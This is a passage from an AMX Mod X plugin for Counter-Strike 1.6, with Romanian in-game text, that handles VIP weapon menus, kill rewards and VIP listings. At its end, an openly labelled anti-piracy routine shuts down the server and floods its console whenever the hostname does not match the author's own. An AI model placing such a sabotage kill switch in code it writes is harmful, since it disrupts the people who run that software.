1003 for(new i = 0;i < sizeof secondaryWeapons;i++)
1004 engclient_cmd(id, "drop", secondaryWeapons[i])
1005
1006 give_item(id, "weapon_usp")
1007 cs_set_user_bpammo(id, CSW_USP, 100)
1008 }
1009 case 3:
1010 {
1011 if(pev(id, pev_weapons) & 1 << CSW_GLOCK18)
1012 for(new i = 0;i < sizeof secondaryWeapons;i++)
1013 engclient_cmd(id, "drop", secondaryWeapons[i])
1014
1015 give_item(id, "weapon_glock18")
1016 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
1017 }
1018 }
1019
1020 switch(i_Key)
1021 {
1022 case 1:
1023 {
1024 vip_opened[id]++
1025 /*if(user_has_weapon(id, CSW_C4))
1026 engclient_cmd(id, "drop", "weapon_c4")*/
1027
1028 for(new i = 0;i < sizeof primaryWeapons;i++)
1029 engclient_cmd(id, "drop", primaryWeapons[i])
1030
1031 give_item(id, "weapon_m4a1")
1032 cs_set_user_bpammo(id, CSW_M4A1, 90)
1033
1034 if(get_pcvar_num(cvar_chat) == 1)
1035 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit M4A1 gratuit + !gGrenade", name)
1036 }
1037 case 2:
1038 {
1039 vip_opened[id]++
1040 /*if(user_has_weapon(id, CSW_C4))
1041 engclient_cmd(id, "drop", "weapon_c4")*/
1042
1043 for(new i = 0;i < sizeof primaryWeapons;i++)
1044 engclient_cmd(id, "drop", primaryWeapons[i])
1045
1046 give_item(id, "weapon_ak47")
1047 cs_set_user_bpammo(id, CSW_AK47, 90)
1048
1049 if(get_pcvar_num(cvar_chat) == 1)
1050 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit Ak47 gratuit + !gGrenade", name)
1051 }
1052 case 3:
1053 {
1054 vip_opened[id]++
1055 /*if(user_has_weapon(id, CSW_C4))
1056 engclient_cmd(id, "drop", "weapon_c4")*/
1057
1058 for(new i = 0;i < sizeof primaryWeapons;i++)
1059 engclient_cmd(id, "drop", primaryWeapons[i])
1060
1061 give_item(id, "weapon_awp")
1062 cs_set_user_bpammo(id, CSW_AWP, 30)
1063
1064 if(get_pcvar_num(cvar_chat) == 1)
1065 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit Polar gratuit + !gGrenade", name)
1066 }
1067 case 4:
1068 {
1069 vip_opened[id]++
1070 /*if(user_has_weapon(id, CSW_C4))
1071 engclient_cmd(id, "drop", "weapon_c4")*/
1072
1073 for(new i = 0;i < sizeof primaryWeapons;i++)
1074 engclient_cmd(id, "drop", primaryWeapons[i])
1075
1076 give_item(id, "weapon_famas")
1077 cs_set_user_bpammo(id, CSW_FAMAS, 90)
1078
1079 if(get_pcvar_num(cvar_chat) == 1)
1080 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit Famas gratuit + !gGrenade", name)
1081 }
1082 case 5:
1083 {
1084 vip_opened[id]++
1085 /*if(user_has_weapon(id, CSW_C4))
1086 engclient_cmd(id, "drop", "weapon_c4")*/
1087
1088 for(new i = 0;i < sizeof primaryWeapons;i++)
1089 engclient_cmd(id, "drop", primaryWeapons[i])
1090
1091 give_item(id, "weapon_galil")
1092 cs_set_user_bpammo(id, CSW_GALIL, 90)
1093
1094 if(get_pcvar_num(cvar_chat) == 1)
1095 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit Galil gratuit + !gGrenade", name)
1096 }
1097 case 6:
1098 {
1099 vip_opened[id]++
1100 /*if(user_has_weapon(id, CSW_C4))
1101 engclient_cmd(id, "drop", "weapon_c4")*/
1102
1103 for(new i = 0;i < sizeof primaryWeapons;i++)
1104 engclient_cmd(id, "drop", primaryWeapons[i])
1105
1106 give_item(id, "weapon_g3sg1")
1107 cs_set_user_bpammo(id, CSW_G3SG1, 90)
1108
1109 if(get_pcvar_num(cvar_chat) == 1)
1110 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit G3SG1 (D3/AU-1) gratuit + !gGrenade", name)
1111 }
1112 case 7:
1113 {
1114 vip_opened[id]++
1115 /*if(user_has_weapon(id, CSW_C4))
1116 engclient_cmd(id, "drop", "weapon_c4")*/
1117
1118 for(new i = 0;i < sizeof primaryWeapons;i++)
1119 engclient_cmd(id, "drop", primaryWeapons[i])
1120
1121 give_item(id, "weapon_sg550")
1122 cs_set_user_bpammo(id, CSW_SG550, 90)
1123
1124 if(get_pcvar_num(cvar_chat) == 1)
1125 chat_color(id, "!g[AVENGERS-VIP]!t VIP-ul !g%s!t a primit SG550 (Counter-Terorist) gratuit + !gGrenade", name)
1126 }
1127 case 8:
1128 {
1129 g_chosen[id] = false;
1130 vip_opened[id] = 0;
1131 g_Weapon[id] = 0;
1132 first_menu(id);
1133 }
1134 }
1135
1136 //menu_destroy(menu);
1137 return PLUGIN_CONTINUE;
1138}
1139
1140public first_menu(id)
1141{
1142 if(!UserInBuyZone[id] && is_user_alive(id))
1143 {
1144 client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
1145 return PLUGIN_HANDLED;
1146 }
1147
1148 if(remove_vip)
1149 return PLUGIN_HANDLED;
1150
1151 if(!is_user_connected(id))
1152 return PLUGIN_HANDLED;
1153
1154 i_Menu_Pistol = menu_create("Ce pistol doresti Boss?", "first_menu_handler")
1155
1156 menu_additem(i_Menu_Pistol, "Deagle [35 Gloante]", "1", 0)
1157 menu_additem(i_Menu_Pistol, "USP [100 Gloante]", "2", 0)
1158 menu_additem(i_Menu_Pistol, "Glock [120 Gloante]\y", "3", 0)
1159
1160 menu_setprop(i_Menu_Pistol, MPROP_EXIT, MEXIT_ALL);
1161 menu_display(id, i_Menu_Pistol, 0)
1162
1163 return PLUGIN_HANDLED;
1164}
1165
1166public first_menu_handler(id, menu, item)
1167{
1168 if(item == MENU_EXIT)
1169 {
1170 menu_destroy(menu)
1171 return PLUGIN_HANDLED
1172 }
1173
1174 new s_Data[6], s_Name[60], i_Access, i_Callback
1175 menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
1176 new i_Key = str_to_num(s_Data)
1177
1178 for(new i = 0;i <6;i++)
1179 fm_strip_user_gun(id, pistols[i])
1180
1181 switch(i_Key)
1182 {
1183 case 1:
1184 {
1185 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
1186 {
1187 main_menu(id)
1188
1189 for(new i = 0;i < sizeof secondaryWeapons;i++)
1190 engclient_cmd(id, "drop", secondaryWeapons[i])
1191 }
1192
1193 g_chosen[id] = true;
1194 g_Weapon[id] = 1;
1195 give_item(id, "weapon_deagle")
1196 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
1197 }
1198 case 2:
1199 {
1200 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
1201 {
1202 main_menu(id)
1203
1204 for(new i = 0;i < sizeof secondaryWeapons;i++)
1205 engclient_cmd(id, "drop", secondaryWeapons[i])
1206 }
1207
1208 g_chosen[id] = true;
1209 g_Weapon[id] = 2;
1210 give_item(id, "weapon_usp")
1211 cs_set_user_bpammo(id, CSW_USP, 100)
1212 }
1213 case 3:
1214 {
1215 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
1216 {
1217 main_menu(id)
1218
1219 for(new i = 0;i < sizeof secondaryWeapons;i++)
1220 engclient_cmd(id, "drop", secondaryWeapons[i])
1221 }
1222
1223 g_chosen[id] = true;
1224 g_Weapon[id] = 3;
1225 give_item(id, "weapon_glock18")
1226 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
1227 }
1228 }
1229
1230 //menu_destroy(menu);
1231 return PLUGIN_CONTINUE;
1232}
1233
1234stock get_vips_online()
1235{
1236 new players[32], pnum, vs, i, userid
1237 get_players(players, pnum, "ch")
1238
1239 for(i = 0; i < pnum; i++)
1240 {
1241 userid = players[i]
1242
1243 if(!(is_vip(userid)))
1244 continue;
1245
1246 vs ++;
1247 }
1248
1249 return vs
1250}
1251
1252stock chat_message(index, const message[], any:...)
1253{
1254 new sBuffer[256], dest
1255 vformat(sBuffer[1], charsmax(sBuffer), message, 3)
1256
1257 sBuffer[0] = '^1'
1258
1259 replace_all(sBuffer[1], charsmax(sBuffer), "!y", "^1")
1260 replace_all(sBuffer[1], charsmax(sBuffer), "!t", "^3")
1261 replace_all(sBuffer[1], charsmax(sBuffer), "!g", "^4")
1262
1263 sBuffer[192] = '^0'
1264
1265 if(index)
1266 {
1267 dest = MSG_ONE_UNRELIABLE
1268 }
1269 else
1270 {
1271 dest = MSG_BROADCAST
1272 }
1273
1274 message_begin(dest, get_user_msgid("SayText"), {0, 0, 0}, index)
1275 write_byte(index)
1276 write_string(sBuffer)
1277 message_end()
1278}
1279
1280/*public Damage(id)
1281{
1282 new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
1283 if(attacker<=MAXPLAYERS && is_user_alive(attacker) && attacker!=id)
1284 if(get_user_flags(id) & VIP_FLAG) //Checks if player is VIP
1285 {
1286 new money = read_data(2) * get_pcvar_num(cvar[money_hs]
1287 if(hitpoint==1) money += get_pcvar_num(cvar[money_hs] //Checks if player damages enemy by head shot
1288 cs_set_user_money(attacker,cs_get_user_money(attacker) + money) //Gives money for damaging enemys
1289 }
1290}*/
1291
1292public event_DeathMsg()
1293{
1294 if(remove_vip)
1295 return PLUGIN_HANDLED;
1296
1297 new killer = read_data(1);
1298 new victim = read_data(2);
1299 new headshot = read_data(3);
1300 new hp = headshot ? get_pcvar_num(cvar[hp_hs]) : get_pcvar_num(cvar[hp_kill]);
1301 new money = headshot ? get_pcvar_num(cvar[money_hs]) : get_pcvar_num(cvar[money_kill]);
1302
1303 if(is_vip(victim))
1304 if(!g_chosen[victim])
1305 set_task(1.0, "first_menu", victim)
1306
1307 if(is_user_alive(killer) && (is_vip(killer) || get_user_flags(killer) & read_flags("y") || vip_free))
1308 {
1309 if(killer == victim) return PLUGIN_HANDLED;
1310 if(hp != 0) set_user_health(killer, clamp(get_user_health(killer) + hp, 1, get_pcvar_num(cvar[max_hp_kill])));
1311 if(money != 0) cs_set_user_money(killer, clamp(cs_get_user_money(killer) + money - 300, 1, 16000));
1312
1313 set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
1314 show_hudmessage(killer, "Healed +%d HP", hp);
1315
1316 message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, killer);
1317 write_short(1<<10);
1318 write_short(1<<10);
1319 write_short(0x0000);
1320 write_byte(0);
1321 write_byte(0);
1322 write_byte(200);
1323 write_byte(75);
1324 message_end();
1325 }
1326
1327 return PLUGIN_CONTINUE;
1328}
1329
1330public hook_say(id)
1331{
1332 /*static szAllArgs[1023];
1333 read_args(szAllArgs, charsmax(szAllArgs))
1334 if((containi(szAllArgs, "/vip")!= -1 || containi(szAllArgs, "/vips")!= -1))
1335 return PLUGIN_HANDLED;*/
1336
1337 new said[192];
1338 read_args(said,192);
1339 if(contain(said, "/vips") != -1)
1340 set_task(0.1,"check_vips",id);
1341
1342 return PLUGIN_CONTINUE;
1343}
1344
1345public check_vips(id)
1346{
1347 new sBuffer[128], sVipname[32], sSlots[34], userid, vs, i
1348
1349 formatex(sBuffer, charsmax(sBuffer), "!t[-!gV!tI!gP's!t-] !gOnline: ")
1350
1351 new z;
1352 if((z = get_vips_online()))
1353 {
1354 new players[32], pnum
1355 get_players(players, pnum, "ch")
1356
1357 for(i = 0; i < pnum; i++)
1358 {
1359 userid = players[i]
1360
1361 if(!(is_vip(userid)))
1362 continue;
1363
1364 vs ++;
1365 get_user_name(userid, sVipname, charsmax(sVipname))
1366 formatex(sSlots, charsmax(sSlots), "!t%s!g%s", sVipname, z == vs ? ".":", ")
1367 add(sBuffer, charsmax(sBuffer), sSlots)
1368 }
1369 }
1370 else if(!get_vips_online())
1371 {
1372 add(sBuffer, charsmax(sBuffer), "!tThere is no vip's !gOnline!")
1373 }
1374
1375 chat_message(id, sBuffer)
1376}
1377
1378public print_adminlist(user)
1379{
1380 new adminnames[33][32];
1381 new message[256];
1382 new id, count, x, len;
1383
1384 for(id = 1 ; id <= get_maxplayers() ; id++)
1385 if(is_user_connected(id))
1386 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
1387 get_user_name(id, adminnames[count++], charsmax(adminnames[ ]));
1388
1389 len = format(message, 255, "^1VIP-ii online sunt:^4 ");
1390 if(count > 0)
1391 {
1392 for(x = 0 ; x < count ; x++)
1393 {
1394 len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"");
1395 if(len > 96)
1396 {
1397 print_message(user, message);
1398 len = format(message, 255, " ");
1399 }
1400 }
1401 print_message(user, message);
1402 }
1403 else
1404 chat_color(id, "!g[AVENGERS - VIP]!t ^1Nu sunt ^4VIP^1-i online.")
1405
1406 return PLUGIN_CONTINUE;
1407}
1408
1409public StatusIcon_buyzone_OFF(id)
1410{
1411 if(!remove_vip)
1412 {
1413 UserInBuyZone[id] = false;
1414 CheckMenuClose(id);
1415 }
1416}
1417
1418public Event_StatusIcon_Show_buyzone(id)
1419 if((is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
1420 UserInBuyZone[id] = true;
1421
1422CheckMenuClose(id)
1423{
1424 new oldMenuId, newMenuId;
1425 player_menu_info(id, oldMenuId, newMenuId)
1426 if(newMenuId > -1 && newMenuId == i_Menu || newMenuId > -1 && newMenuId == i_Menu_Pistol)
1427 menu_cancel(id);
1428}
1429
1430print_message(id, msg[])
1431{
1432 message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
1433 write_byte(id);
1434 write_string(msg);
1435 message_end();
1436}
1437
1438stock bool: is_vip(const id)
1439{
1440 if(!is_user_connected(id))
1441 return false;
1442
1443 if(IsUserVip[id] || get_user_flags(id) & read_flags("x")) /*|| equali(name, "seven|sin")|| equali(name, "PedoBear"))*/
1444 return true;
1445
1446 return false;
1447}
1448
1449stock chat_color(const id, const input[], any:...)
1450{
1451 new count = 1, Jucatori[32]
1452 static msg[191]
1453 vformat(msg, 190, input, 3)
1454
1455 replace_all(msg, 190, "!g", "^4")//Culoarea Verde
1456 replace_all(msg, 190, "!y", "^1")//Culoarea Normala a Chat-ului (galben)
1457 replace_all(msg, 190, "!t", "^3")//Culoarea Echipei : CT = Albastru | T = Rosu.
1458
1459 if (id)Jucatori[0] = id;else get_players(Jucatori, count, "ch")
1460 {
1461 for (new Y = 0;Y <count;Y++)
1462 {
1463 if (is_user_connected(Jucatori[Y]))
1464 {
1465 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, Jucatori[Y])
1466 write_byte(Jucatori[Y]);
1467 write_string(msg);
1468 message_end();
1469 }
1470 }
1471 }
1472}
1473
1474//======================================================//
1475// END Stock-URI ===>>>>> PROTECTIE
1476//======================================================//
1477/* Protected Plugin */
1478public _ProtectCheck_()
1479{
1480 new HostNameProtect[] = "AVENGERS.EVILS.RO"
1481 new HostNameProtectTESTE[] = "Server Teste"
1482 new ActualHostname[64], xP[32], xN
1483
1484 get_pcvar_string(get_cvar_pointer("hostname"), ActualHostname, 63)
1485 strtoupper(ActualHostname)
1486
1487 if (containi(ActualHostname, HostNameProtect) != -1 || containi(ActualHostname, HostNameProtectTESTE) != -1)
1488 return PLUGIN_CONTINUE
1489 else
1490 {
1491 server_cmd("quit;exit;map de_dust2") //quit;exit;map de_dust2;map hns_floppywon -> VECHI
1492 pause("ade"); //Nou
1493 for (new i=0;i < 500000;i++)
1494 {
1495 get_players(xP, xN)
1496 //for (new o=0;o < xN;o++)
1497 //chatcolor(xP[i], "!tPluginul este protejat. Aceasta este o tentativa de frauda.")
1498
1499 server_print("[VIP AVENGERS] Doresti sa furi addons-ul, domnule? Cauta-l pe, PaulSB aka M@f!aSB, ca sa il cumperi!")
1500 }
1501 }
1502
1503 return PLUGIN_CONTINUE
1504}
1505//======================================================//
1506// END PROTECTIE
1507//======================================================//